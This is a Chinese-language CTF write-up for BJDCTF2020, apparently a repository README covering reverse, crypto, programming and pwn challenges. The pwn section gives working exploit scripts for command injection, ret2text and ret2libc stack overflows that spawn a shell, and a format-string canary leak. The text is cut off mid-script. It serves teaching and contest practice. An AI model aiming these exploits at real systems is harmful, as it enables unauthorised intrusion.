# BJDCTF2020_January **Repository Path**: xiaohua1998/BJDCTF2020_January ## Basic Information - **Project Name**: BJDCTF2020_January - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2020-03-27 - **Last Updated**: 2020-12-19 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # BJDCTF2020_ WP > 不好意思咕咕咕了这么久,总算在年前改完了,web和misc的wp其他学校的师傅已经写的很好了,这里就不再赘余了(咕咕 经过出题人长达好几天的讨论,最终决定本wp放出部分题解,有的题目介于很多原因就不放了 # web && MISC [Y1ng师傅的wp](https://www.gem-love.com/websecurity/824.html) [imagin师傅的wp](https://imagin.vip/?p=166) # Android 咕咕咕 # Reverse ## 0x01 encode ### 题目思路 这道题目的大致流程为：对输入做base64编码后的结果与key分别异或，然后再以key作为密钥做RC4加密。因为这道题存在一点问题，所以后面直接根据源码给出求解思路 ### RC4 关于RC4的加解密可以试试这个网站：[RC4](https://gchq.github.io/CyberChef) 此外推荐一篇看雪的关于RC4逆向分析的文章：[恶意代码分析之 RC4 算法学习](https://bbs.pediy.com/thread-256733.htm),文章写的比较详细，不过由于本题做了符号剥离，在细节处可能有略微差别。 ### base64 关于base64，i春秋有一篇文章[BASE64编码原理分析脚本实现及逆向案例](https://www.cnblogs.com/ichunqiu/p/10535378.html)，不过本题中的base64码表是更改过的，需要特别注意一下。 ### 解题过程 1. upx脱壳 2. 根据密钥和密文通过RC4解密得到：`23152553081a5938126a3931275b0b1313085c330b356101511f105c` 3. 和key异或得到base64编码 4. base64解密 ```python from base64 import b64decode key = 'Flag{This_a_Flag}' enflag = '23152553081a5938126a3931275b0b1313085c330b356101511f105c' enflag = [int(enflag[i:i+2],16) for i in range(0,len(enflag),2)] enflag = [chr(enflag[i]^ord(key[i%len(key)])) for i in range(len(enflag))] enflag = ''.join(enflag) print(enflag) t = '0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ=' table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' table = str.maketrans(t,table) flag = b64decode(enflag.translate(table)) print(flag) ``` 5. 题目源码 ```c++ // main.c #include #include #include #include #include"RC4.h" unsigned char *base64_encode(unsigned char *str); int main(void) { unsigned char key[] = "Flag{This_a_Flag}"; unsigned int len0 = strlen((const char *)key); unsigned int i; unsigned char res[]="e8d8bd91871a010e560f53f4889682f961420af2ab08fed7acfd5e00"; // unsigned char buf[]="BJD{0v0_Y0u_g07_1T!}"; unsigned char buf[128]; printf("Please input your flag:\n"); read(STDIN_FILENO,buf,256); if(strlen(buf)!=21) exit(0); else { unsigned char inputs[30]; strcpy(inputs,base64_encode(buf)); unsigned int len=strlen((const char*)inputs); for(i=0;i>2]; res[i+1]=base64_table[(str[j]&0x3)<<4 | (str[j+1]>>4)]; res[i+2]=base64_table[(str[j+1]&0xf)<<2 | (str[j+2]>>6)]; res[i+3]=base64_table[str[j+2]&0x3f]; } switch(str_len % 3) { case 1: res[i-2]='='; res[i-1]='='; break; case 2: res[i-1]='='; break; } return res; } // RC4.c #include static void rc4_init(unsigned char* s_box, unsigned char* key, unsigned int key_len) { unsigned char Temp[256]; int i; for (i = 0; i < 256; i++) { s_box[i] = i; Temp[i] = key[i%key_len]; } int j = 0; for (i = 0; i < 256; i++) { j = (j + s_box[i] + Temp[i]) % 256; unsigned char tmp = s_box[i]; s_box[i] = s_box[j]; s_box[j] = tmp; } } void rc4_crypt(unsigned char* data, unsigned int data_len, unsigned char* key, unsigned int key_len) { unsigned char s_box[256]; rc4_init(s_box, key, key_len); unsigned int i = 0, j = 0, t = 0; unsigned int Temp; for (Temp = 0; Temp < data_len; Temp++) { i = (i + 1) % 256; j = (j + s_box[i]) % 256; unsigned char tmp = s_box[i]; s_box[i] = s_box[j]; s_box[j] = tmp; t = (s_box[i] + s_box[j]) % 256; data[Temp] ^= s_box[t]; } } // RC4.h #ifndef RC4_H #define RC4_H void rc4_crypt(unsigned char* data, unsigned int data_len, unsigned char* key, unsigned int key_len); #endif ``` ## 0x02 Easy ![easy1](/image/easy1.png) 拖进IDA查看伪代码，发现主函数内没有任何与flag有关的函数，F12搜索字符串也找不到太多有用的信息。但是在函数窗口可以发现一个叫ques的未被调用的函数。 对ques函数的逻辑进行简单的静态分析可以发现，这个函数的作用其实就是把数组[0x224fc7ffa7e31，0x22a84884a4239 , 0x3ff87084ff235 , 0x2318588424233 , 0x231fc7e4243f1] 里的每个元素先转换为二进制，转换的过程中遇到1就输出*，遇到0就输出一个空格。数组的第0个元素对应输出的第0行，第1个元素对应输出的第1行…不难发现，最终输出组合而成的象素图案就是对应的flag。 ***当然你也可以在发现了这个后门函数后直接动态调试+修改eip跳转到ques函数的起始地址，一路F8或者下断+F9就可以直接得到flag。 ![easy2](/image/easy2.png) BJD{HACKIT4FUN} ## 0x03 BJD hamburger competition 在BJD hamburger\BJD hamburger competition_Data\Managed文件夹中找到Assembly-CSharp.dll拖进Dnspy中，找到 ButtonSpawnFruit这个类。 ![hum1](/image/hum1.png) 可以看到，需要我们按照正确的顺序堆出汉堡才能得到正确的flag。并且在汉堡顶的判断中限制了spawncount必须为5，又因为spawncount从0开始，所以汉堡的层数只能是6. 除去汉堡底和汉堡顶，还剩4种材料，因此这道题就转化成了从7种材料中选4种的问题。 ![hum2](/image/hum2.png) 得出结果所有可能情况：![hum3](/image/hum3.png) ，以及result的值为‘1001’ 把result进行MD5加密后，取前20位。 ![hum4](/image/hum4.png) Flag：BJD{B8C37E33DEFDE51CF91E} PS:这里也可以用itertools模块中的permutations方法求解。 还有一种比较简单的解法，在老八做汉堡的原视频中，老八堆汉堡的顺序是：汉堡底-生菜-臭豆腐-俘虏-加柠檬-汉堡顶，在上文脚本中对应的顺序为5347，同样可以得出最终的result为1001. btw这道题出现了非预期解：如果直接把这一串哈希值放进在线SHA1解密网站可以直接得到明文为1001，算是出题人的出题的时候不够严谨导致的，在这里给大家说声抱歉…（我暴打我自己）。 # Programing 3道题目均可暴力求解 ## 0x01 Every minute counts 简单BFS，依次尝试所有可能转换到的位置即可 ## 0x02 Pyramid 找规律 打表找下规律，打表方法：把所有点扔坐标系里n^3爆搜即可 打出来为 1，5，15，35，70，126，210.. 没感觉，作差 4, 10, 20, 35, 56, 84 还是没感觉，作差 6, 10, 15, 21, 28 发现此时的差递增1？也就是再作差4, 5, 6, 7是等差数列 也就是再作差1, 1, 1为常数 相当于函数An求四次导为常数 于是我们设An=a∗n4+b∗n3+c∗n2+d∗n+e 解出a, b, c, d, e，带入得答案 ## 0x03 Real Hero 建立一个虚结点，并将其与超人所有人相连，且距离为0，这样问题就转换成了求两次点到城中其他点最短路径的最大值，然后比较一下即可 注意路径去重 # Crypto ## 0x01 Sign_in 十六进制转字符串即可 ## 0x02 编码与调制 本题灵感来自2019年第三届i春秋的11月月赛，主要是想对曼切斯特编码进行考察，其中为了提供一下思路，给了一张code的图片作为提示，当然也可以直接自行百度这种编码方式，毕竟他的编码方式也很有特点，仅采用了4种字符，百度一下也可以找到解决方案 编码规则，直接复制的百度百科 在曼彻斯特编码中，每一位的中间有一跳变，位中间的跳变既作时钟信号，又作数据信号；从高到低跳变表示“1”，从低到高跳变表示“0”。还有一种是差分曼彻斯特编码，每位中间的跳变仅提供时钟定时，而用每位开始时有无跳变表示“0”或“1”，有跳变为“0”，无跳变为“1”。 编程思路： 而我们在编程实现时，也很简单只要先将明文转成二进制（也就是先进行NRZ编码），而后对于其中的高电平‘1’，用‘10’替换，低电平‘0’，用‘01’替换，获得一串新的二进制比特流，最后再将其进行16进制封装即可 解码思路： 解码也就是一个逆过程，先将hex转成bin，在一步步替换‘10’为‘1’，‘01’为‘0’ 下面给出解密脚本： ``` msg=0x2559659965656a9a65656996696965a6695669a9695a699569666a5a6a6569666a59695a69aa696569666aa6 s=bin(msg)[2:] r="" for i in range(len(s)/2): if s[i*2:i*2+2] == '10': r += '1' else: r += '0' print(hex(int(r,2))[2:-1].decode('hex')) ``` 最终flag： BJD{DifManchestercode} ## 0x03 Polybius 密文：ouauuuoooeeaaiaeauieuooeeiea hint：VGhlIGxlbmd0aCBvZiB0aGlzIHBsYWludGV4dDogMTQ= 首先将hint base64解密查看提示：The length of this plaintext: 14 而后再观察一下发现密文长度时28位，所以猜测是棋盘密码（额，其实题目就已经提示加密方式了） 观察发现一共有五个字母重复出现在密文中，所以可能的加密表是aeiou，但是解出结果会发现是乱码，所以可以尝试爆破，一共也就5！种情况。 下面是解密脚本： ``` import itertools key = [] cipher = "ouauuuoooeeaaiaeauieuooeeiea" for i in itertools.permutations('aeiou', 5): key.append(''.join(i)) for each in key: temp_cipher = "" result = "" for temp in cipher: temp_cipher += str(each.index(temp)) #这里其实是将字母的表换成数字的表以便后续计算 for i in range(0,len(temp_cipher),2): current_ascii = int(temp_cipher[i])*5+int(temp_cipher[i+1])+97 #因为棋盘密码是采用两位一起表示一个字母 if current_ascii>ord('i'): current_ascii+=1 result += chr(current_ascii) if "flag" in result: print(each,result) ``` 跑出来两个结果： 显然第一个是最终答案 最后加上格式： BJD{flagispolybius} 啊啊啊啊啊，最后说一下，这次flag设置的居然和题目名一样，大意了， (￣ε(#￣)☆╰╮o(￣皿￣///)，导致赛后有师傅说是直接猜出来的flag，在这里给各位师傅谢罪了(。﹏。)，下次flag我会深思熟虑一下了，下次一定，下次一定 ## 0x04 easyrsa 很简单的一个rsa，就是再求取欧拉函数是对于（p-1）*（q-1）的获取要先进行一步转换，题中给出了p和q的关系式，及一个求导的过程，化简后可以得出z=p^2+q^2,最后再根据n=p*q,即可得出（p-1）*（q-1） 下面是exp： ``` # -*- coding:utf-8 -*- #!/usr/bin/python import gmpy2 from Crypto.Util.number import long_to_bytes n=15310745161336895413406690009324766200789179248896951942047235448901612351128459309145825547569298479821101249094161867207686537607047447968708758990950136380924747359052570549594098569970632854351825950729752563502284849263730127586382522703959893392329333760927637353052250274195821469023401443841395096410231843592101426591882573405934188675124326997277775238287928403743324297705151732524641213516306585297722190780088180705070359469719869343939106529204798285957516860774384001892777525916167743272419958572055332232056095979448155082465977781482598371994798871917514767508394730447974770329967681767625495394441 z=32115748677623209667471622872185275070257924766015020072805267359839059393284316595882933372289732127274076434587519333300142473010344694803885168557548801202495933226215437763329280242113556524498457559562872900811602056944423967403777623306961880757613246328729616643032628964072931272085866928045973799374711846825157781056965164178505232524245809179235607571567174228822561697888645968559343608375331988097157145264357626738141646556353500994924115875748198318036296898604097000938272195903056733565880150540275369239637793975923329598716003350308259321436752579291000355560431542229699759955141152914708362494482 c=7922547866857761459807491502654216283012776177789511549350672958101810281348402284098310147796549430689253803510994877420135537268549410652654479620858691324110367182025648788407041599943091386227543182157746202947099572389676084392706406084307657000104665696654409155006313203957292885743791715198781974205578654792123191584957665293208390453748369182333152809882312453359706147808198922916762773721726681588977103877454119043744889164529383188077499194932909643918696646876907327364751380953182517883134591810800848971719184808713694342985458103006676013451912221080252735948993692674899399826084848622145815461035 e=65537 p_and_q_square = z + 2*n #这个要通过化简一下z就可以发现其中的关系，其实就是简单的导数化简 p_and_q = gmpy2.iroot(p_and_q_square,2) #(mpz(250474028594377426111821218884061933467907597574578255066146260367094595399741196827532923836761733594976933366636149201492628708413319929361097646526652140204561542573663223469009835925309935515892458499676903149172534494580503088868430625144808189083708827363335045028702993282231537893799541685169911232442), True) final_p_and_q = 250474028594377426111821218884061933467907597574578255066146260367094595399741196827532923836761733594976933366636149201492628708413319929361097646526652140204561542573663223469009835925309935515892458499676903149172534494580503088868430625144808189083708827363335045028702993282231537893799541685169911232442 Euler_function = n - final_p_and_q + 1 d = int(gmpy2.invert(e,Euler_function)) m=pow(c,d,n) print(long_to_bytes(m)) ``` ## 0x05 rsa_output 题目描述直接给出，模的相关攻击，再看一下给出的附件，发现两次的N是相同的，所以可以确定是共模攻击 ![共模攻击](/image/modtogether.jpg) Exp: ``` from Crypto.Util.number import long_to_bytes import gmpy2 n = 21058339337354287847534107544613605305015441090508924094198816691219103399526800112802416383088995253908857460266726925615826895303377801614829364034624475195859997943146305588315939130777450485196290766249612340054354622516207681542973756257677388091926549655162490873849955783768663029138647079874278240867932127196686258800146911620730706734103611833179733264096475286491988063990431085380499075005629807702406676707841324660971173253100956362528346684752959937473852630145893796056675793646430793578265418255919376323796044588559726703858429311784705245069845938316802681575653653770883615525735690306674635167111 e1 = 2767 e2 = 3659 message1 = 20152490165522401747723193966902181151098731763998057421967155300933719378216342043730801302534978403741086887969040721959533190058342762057359432663717825826365444996915469039056428416166173920958243044831404924113442512617599426876141184212121677500371236937127571802891321706587610393639446868836987170301813018218408886968263882123084155607494076330256934285171370758586535415136162861138898728910585138378884530819857478609791126971308624318454905992919405355751492789110009313138417265126117273710813843923143381276204802515910527468883224274829962479636527422350190210717694762908096944600267033351813929448599 message2 = 11298697323140988812057735324285908480504721454145796535014418738959035245600679947297874517818928181509081545027056523790022598233918011261011973196386395689371526774785582326121959186195586069851592467637819366624044133661016373360885158956955263645614345881350494012328275215821306955212788282617812686548883151066866149060363482958708364726982908798340182288702101023393839781427386537230459436512613047311585875068008210818996941460156589314135010438362447522428206884944952639826677247819066812706835773107059567082822312300721049827013660418610265189288840247186598145741724084351633508492707755206886202876227 # s & t gcd, s, t = gmpy2.gcdext(e1, e2) if s < 0: s = -s message1 = gmpy2.invert(message1, n) if t < 0: t = -t message2 = gmpy2.invert(message2, n) plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n print(plain) print(long_to_bytes(plain)) ``` ## 0x06 RSA 这里主要操作是对于e和p的获取，可以看到题中e未知，但是给出了e的范围，并且还有用e加密294后的结果，所以可以尝试去爆破得到e 得出e之后，剩下的问题就是对于n的分解从而得到p,q，很明显直接分解肯定不可能，但是我们可以看到这里q是一个公因数，前后两次加密种只有在一开始时定义了q，所以对于两次的n去取他们的公因数即可获得q，而后再用n除以下q就可得到p ``` import gmpy2 from Crypto.Util.number import * #e的求解: #爆破一下就行了 ''' n=13508774104460209743306714034546704137247627344981133461801953479736017021401725818808462898375994767375627749494839671944543822403059978073813122441407612530658168942987820256786583006947001711749230193542370570950705530167921702835627122401475251039000775017381633900222474727396823708695063136246115652622259769634591309421761269548260984426148824641285010730983215377509255011298737827621611158032976420011662547854515610597955628898073569684158225678333474543920326532893446849808112837476684390030976472053905069855522297850688026960701186543428139843783907624317274796926248829543413464754127208843070331063037 t=381631268825806469518166370387352035475775677163615730759454343913563615970881967332407709901235637718936184198930226303761876517101208677107311006065728014220477966000620964056616058676999878976943319063836649085085377577273214792371548775204594097887078898598463892440141577974544939268247818937936607013100808169758675042264568547764031628431414727922168580998494695800403043312406643527637667466318473669542326169218665366423043579003388486634167642663495896607282155808331902351188500197960905672207046579647052764579411814305689137519860880916467272056778641442758940135016400808740387144508156358067955215018 for i in range(0,100000): if(pow(294,i,n)==t): print(i) ''' c = 12641635617803746150332232646354596292707861480200207537199141183624438303757120570096741248020236666965755798009656547738616399025300123043766255518596149348930444599820675230046423373053051631932557230849083426859490183732303751744004874183062594856870318614289991675980063548316499486908923209627563871554875612702079100567018698992935818206109087568166097392314105717555482926141030505639571708876213167112187962584484065321545727594135175369233925922507794999607323536976824183162923385005669930403448853465141405846835919842908469787547341752365471892495204307644586161393228776042015534147913888338316244169120 n1 = 13508774104460209743306714034546704137247627344981133461801953479736017021401725818808462898375994767375627749494839671944543822403059978073813122441407612530658168942987820256786583006947001711749230193542370570950705530167921702835627122401475251039000775017381633900222474727396823708695063136246115652622259769634591309421761269548260984426148824641285010730983215377509255011298737827621611158032976420011662547854515610597955628898073569684158225678333474543920326532893446849808112837476684390030976472053905069855522297850688026960701186543428139843783907624317274796926248829543413464754127208843070331063037 e = 52361 n2 = 12806210903061368369054309575159360374022344774547459345216907128193957592938071815865954073287532545947370671838372144806539753829484356064919357285623305209600680570975224639214396805124350862772159272362778768036844634760917612708721787320159318432456050806227784435091161119982613987303255995543165395426658059462110056431392517548717447898084915167661172362984251201688639469652283452307712821398857016487590794996544468826705600332208535201443322267298747117528882985955375246424812616478327182399461709978893464093245135530135430007842223389360212803439850867615121148050034887767584693608776323252233254261047 q=GCD(n1,n2) p=n1/q d=int(gmpy2.invert(e,(p-1)*(q-1))) flag=pow(c,d,n1) flag=long_to_bytes(flag) print(flag) ``` ## 0x07 这是base？？ 这题主要是对于base64编码方式的理解，题中给出一个码表和密文，解题思路就是利用给出码表，解码即可，此外，这题怪我原本打算只给出码表的键值，一时疏忽把码表直接粘到附件了，下面是我原本的预期解： 首先是根据键值构造码表： ``` ss='JKLMNOxyUVzABCDEFGH789PQIabcdefghijklmWXYZ0123456RSTnopqrstuvw+/=' k=[]#构造键列表 for i in range(0,65): k.append(i) v=[]#构造值列表 for i in range(len(ss)): v.append(ss[i]) #用键值列表构造字典 table = dict(zip(k,v)) print(table) ``` 得到码表后，就是根据码表解密文： 这里顺带提一下base64的加密流程 1、将待转换的字符串每三个字节分为一组，每个字节占8bit，那么共有24个二进制位。 2、将上面的24个二进制位每6个一组，共分为4组。 3、在每组前面添加两个0，每组由6个变为8个二进制位，总共32个二进制位，即四个字节。 4、最后再根据码表进行编码 简单来说转换关系就是先将明文的字符串的ASCII码转换为8位的二进制编码，然后在将这串得到的二进制编码按6位为一组（64是2的6次方），然后将划分好的二进制数转换成10进制数并对照上方编码表进行加密。 而相对的解密就是将这编码在按8位为一组划分，再将划分好的二进制数转成10进制的ASCII码，然后根据ASCII码表恢复明文。 Ps.这里我们可以看到转成的二进制数的长度必须是6和8的公倍数，对于那些长度不够的要进行补齐操作，详细的过程这里就不细讲了，看下面这篇文章吧 [https://blog.csdn.net/wo541075754/article/details/81734770](https://blog.csdn.net/wo541075754/article/details/81734770) 剩下的工作，也就是这次比赛中获取flag的脚本流程如下： 1、先获取密文再码表中键值 ``` key_list=[] value_list=[] s='FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw' mydisc = {0: 'J', 1: 'K', 2: 'L', 3: 'M', 4: 'N', 5: 'O', 6: 'x', 7: 'y', 8: 'U', 9: 'V', 10: 'z', 11: 'A', 12: 'B', 13: 'C', 14: 'D', 15: 'E', 16: 'F', 17: 'G', 18: 'H', 19: '7', 20: '8', 21: '9', 22: 'P', 23: 'Q', 24: 'I', 25: 'a', 26: 'b', 27: 'c', 28: 'd', 29: 'e', 30: 'f', 31: 'g', 32: 'h', 33: 'i', 34: 'j', 35: 'k', 36: 'l', 37: 'm', 38: 'W', 39: 'X', 40: 'Y', 41: 'Z', 42: '0', 43: '1', 44: '2', 45: '3', 46: '4', 47: '5', 48: '6', 49: 'R', 50: 'S', 51: 'T', 52: 'n', 53: 'o', 54: 'p', 55: 'q', 56: 'r', 57: 's', 58: 't', 59: 'u', 60: 'v', 61: 'w', 62: '+', 63: '/', 64: '='} for key,value in mydisc.items(): key_list.append(key) value_list.append(value) def value_to_key(a): get_value = a if get_value in value_list: get_value_index = value_list.index(get_value) else: print("你要查询的值%s不存在" %get_value) return(get_value_index) if __name__ == '__main__': ss=[] for i in s: ss.append(value_to_key(i)) print(ss) ``` 2、将键值转换成六位二进制，不足位填充 ``` ss=[16, 36, 41, 4, 30, 52, 16, 48, 23, 53, 36, 48, 29, 21, 61, 43, 19, 38, 61, 23, 23, 53, 17, 40, 12, 23, 13, 31, 24, 35, 17, 51, 25, 21, 61, 45, 24, 23, 1, 61] bin_new=[] for i in ss: bin_new.append(bin(i)[2:]) print(bin_new) bin_new=['10000', '100100', '101001', '100', '11110', '110100', '10000', '110000', '10111', '110101', '100100', '110000', '11101', '10101', '111101', '101011', '10011', '100110', '111101', '10111', '10111', '110101', '10001', '101000', '1100', '10111', '1101', '11111', '11000', '100011', '10001', '110011', '11001', '10101', '111101', '101101', '11000', '10111', '1', '111101'] temp=[] for i in bin_new: if len(i)<6: i = (6-len(i))*'0'+ i else: i = i temp.append(i) print(temp) #temp=['010000', '100100', '101001', '000100', '011110', '110100', '010000', '110000', '010111', '110101', '100100', '110000', '011101', '010101', '111101', '101011', '010011', '100110', '111101', '010111', '010111', '110101', '010001', '101000', '001100', '010111', '001101', '011111', '011000', '100011', '010001', '110011', '011001', '010101', '111101', '101101', '011000', '010111', '000001', '111101'] ``` 3、将获得的六位二进制拼接后按8位拆分转为ASCII码后获得flag ``` #temp=['010000', '100100', '101001', '000100', '011110', '110100', '010000', '110000', '010111', '110101', '100100', '110000', '011101', '010101', '111101', '101011', '010011', '100110', '111101', '010111', '010111', '110101', '010001', '101000', '001100', '010111', '001101', '011111', '011000', '100011', '010001', '110011', '011001', '010101', '111101', '101101', '011000', '010111', '000001', '111101'] r='' for i in temp: r+=i rr=re.findall(r'.{8}',r) print(rr) rrr=[] for i in rr: rrr.append(int(i,2)) flag='' for i in rrr: flag+=chr(i) print(flag) ``` ## 0x08 伏羲六十四卦 伏羲六十四卦： 题目中给出了几段描述，大致可以猜测一下可能会有多层加密 首先一开始提到六十四卦，百度一下，可以看到其实是利用六位二进制对文字进行替换，根据其二进制矩阵先构造码表，然后根据码表将密文转成二进制： ![fuxi1](/image/fuxi1.png) ``` enc='升随临损巽睽颐萃小过讼艮颐小过震蛊屯未济中孚艮困恒晋升损蛊萃蛊未济巽解艮贲未济观豫损蛊晋噬嗑晋旅解大畜困未济随蒙升解睽未济井困未济旅萃未济震蒙未济师涣归妹大有' mydisc={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'} keys=['坤', '剥', '比', '观', '豫', '晋', '萃', '否', '谦', '艮', '蹇', '渐', '小过', '旅', '咸', '遁', '师', '蒙', '坎', '涣', '解', '未济', '困', '讼', '升', '蛊', '井', '巽', '恒', '鼎', '大过', '姤', '复', '颐', '屯', '益', '震', '噬嗑', '随', '无妄', '明夷', '贲', '既济', '家人', '丰', '离', '革', '同人', '临', '损', '节', '中孚', '归妹', '睽', '兑', '履', '泰', '大畜', '需', '小畜', '大壮', '大有', '夬', '乾'] def decrypt(): global mingwen mingwen=enc for each in keys: mingwen=mingwen.replace(each,mydisc[each]) print(mingwen) ``` 第二层：下一步就是将二进制转换成ASCII： ![fuxi2](/image/fuxi2.png) 第三层：发现是base64，再解密： ![fuxi3](/image/fuxi3.png) 发现是一段奇怪的密文，此时附件中的py文件中有提示是加密的源码，分析发现是第四和第五层的加密方式，第四层这里我们可以发现，这里是采用一个偏移量为5并且依次后移一位的加密，这里只要将减换成加即可 ``` enc='n]h\]kka[[eiWW_R`bO]]`NMUWWIFXHUCP' temp='' offset=5 for i in range(len(enc)): temp+=chr(ord(enc[i])+offset+i) ``` 得到解密后结果： Scodfuvmhityhirfuxfuvziiruvigzkyhv 而后再是第五层：这里采用了仿射密码，根据加密方式写一下解密脚本即可 ``` string = 'scodfuvmhityhirfuxfuvziiruvigzkyhv' b=7 for i in (1,9,21,15,3,7,23,19,11,5,17,25): flag = '' for k in string: flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a')) print(i,':',flag) ``` 最终得到flag： ![fuxi4](/image/fuxi4.png) 加上格式即可：BJD{bjdcongratulationsongettingtheflag} # Pwn ## 0x01 babyrouter 签到题 **考点:命令执行** 拖进64位IDA,直接F5 main,然后可以看到case 1: ``` case 1: puts("Please input the ip address:"); read(0, &buf, 0x10uLL); v3 = &buf; strcat(dest, &buf); system(dest); v4 = "done!"; puts("done!"); break; ``` 发现并未过滤传入system的参数,因此直接命令执行即可..完全不用写脚本 payload 如下: ``` 1 1;cat flag ``` 当然还有很多方式,这里就不一一列举了 ## 0x02 babystack 签到题*2 **考点:ret2text** 拖进IDA 64,F5 ``` int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-10h] size_t nbytes; // [rsp+Ch] [rbp-4h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); puts("[+]What's u name?"); read(0, &buf, (unsigned int)nbytes); return 0; } ``` 发现程序可以自主控制输入的长度,栈溢出实锤,并且给了后门函数backdoor,直接Ret2text即可 payload: ``` from pwn import * p=process('ret2text') sys=p64(0x4006e6) p.sendline('-1') payload='a'*0x10+'a'*8+sys p.sendline(payload) p.interactive() ``` 当然,不想写脚本可以直接python -i一行解决 ## 0x03 babyrop **考点:ret2libc,无libc文件如何查找版本** 直接看漏洞函数 ``` ssize_t vuln() { char buf; // [rsp+0h] [rbp-20h] puts("Pull up your sword and tell me u story!"); return read(0, &buf, 0x64uLL); } ``` 可以用puts函数泄露libc基址,之后控制程序回到vuln函数调用system("/bin/sh")函数 libc版本可以使用libcsearcher payload: ``` from pwn import * from LibcSearcher import LibcSearcher p=process('./pwn') #p=remote('222.186.56.247',8123) elf=ELF('./pwn') vuln=p64(elf.symbols['vuln']) puts=p64(elf.plt['puts']) libc_main=p64(elf.got['__libc_start_main']) pop_rdi_ret=p64(0x400733) payload1='a'*0x28+pop_rdi_ret+libc_main+puts+vuln p.recvuntil('story!\n') p.sendline(payload1) libc_start_main_addr=u64(p.recvuntil('\n',drop=True).ljust(8,"\x00")) log.success('[*]__libc_start_main:'+hex(libc_start_main_addr)) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') log.success('[*]system:'+hex(system_addr)) log.success('[*]binsh:'+hex(binsh_addr)) payload2='a'*0x28+pop_rdi_ret+p64(binsh_addr)+p64(system_addr) p.recvuntil('story!\n') p.sendline(payload2) p.interactive() ``` ## 0x04 babystack2.0 在ret2text的基础上加了整数溢出,本来想考短整型的,但是发现第一天情况不太理想(2333 **考点:整数溢出** ``` int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-10h] size_t nbytes; // [rsp+Ch] [rbp-4h] setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); if ( (signed int)nbytes > 10 ) { puts("Oops,u name is too long!"); exit(-1); } puts("[+]What's u name?"); read(0, &buf, (unsigned int)nbytes); return 0; } ``` 可以看到虽然有一个条件判断是nbytes>10就会退出程序,但是在read函数中第三个参数是无符号型 此时我们可以输入-1来构造一个回环使得我们输入的值位int64的最大值 payload: ``` from pwn import * p=process('ret2text') sys=p64(0x4006e6) p.sendline('-1') payload='a'*0x10+'a'*8+sys p.sendline(payload) p.interactive() ``` ## 0x05 babyrop2 在ret2libc的基础上增加了canary保护 **考点:泄露canary** 首先看下gift函数 ``` unsigned __int64 gift() { char format; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("I'll give u some gift to help u!"); __isoc99_scanf("%6s", &format); printf(&format); puts(byte_400A05); fflush(0LL); return __readfsqword(0x28u) ^ v2; } ``` 一个标准的格式化字符串漏洞,我们的canary就可以通过gift函数来泄露,然后在我们正常的ret2libc的payload中加上我们泄露出的canary即可绕过canary检查 关于如何泄露canary,我们即然给了格式化字符串漏洞,通过调试可以发现canary在栈的第7个位置,因此可以直接用%7$p泄露 ``` from pwn import * from LibcSearcher import LibcSearcher p=process('./pwn') elf=ELF('./pwn') vuln=p64(0x400887) puts_addr=elf.plt['puts'] libc_start=elf.got['__libc_start_main'] pop_rdi_ret=p64(0x400993) payload1="%7$p" p.recvuntil('u!\n') p.sendline(payload1) canary=eval(p.recvuntil("\n",drop=True)) log.success('[*]canary:'+hex(canary)) payload2='a'*24+p64(canary)+'a'*8+pop_rdi_ret+p64(libc_start)+p64(puts_addr)+vuln p.recvuntil('story!\n') p.sendline(payload2) libc_start_main_addr = u64(p.recvuntil("\n",True).ljust(8,"\x00")) #libc_start_main_addr = p.recvuntil("\n",True).ljust(8,"\x00") #print(libc_start_main_addr) #pause() log.success('[*]__libc_start_main:'+hex(libc_start_main_addr)) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') log.success('[*]system:'+hex(system_addr)) log.success('[*]binsh:'+hex(binsh_addr)) 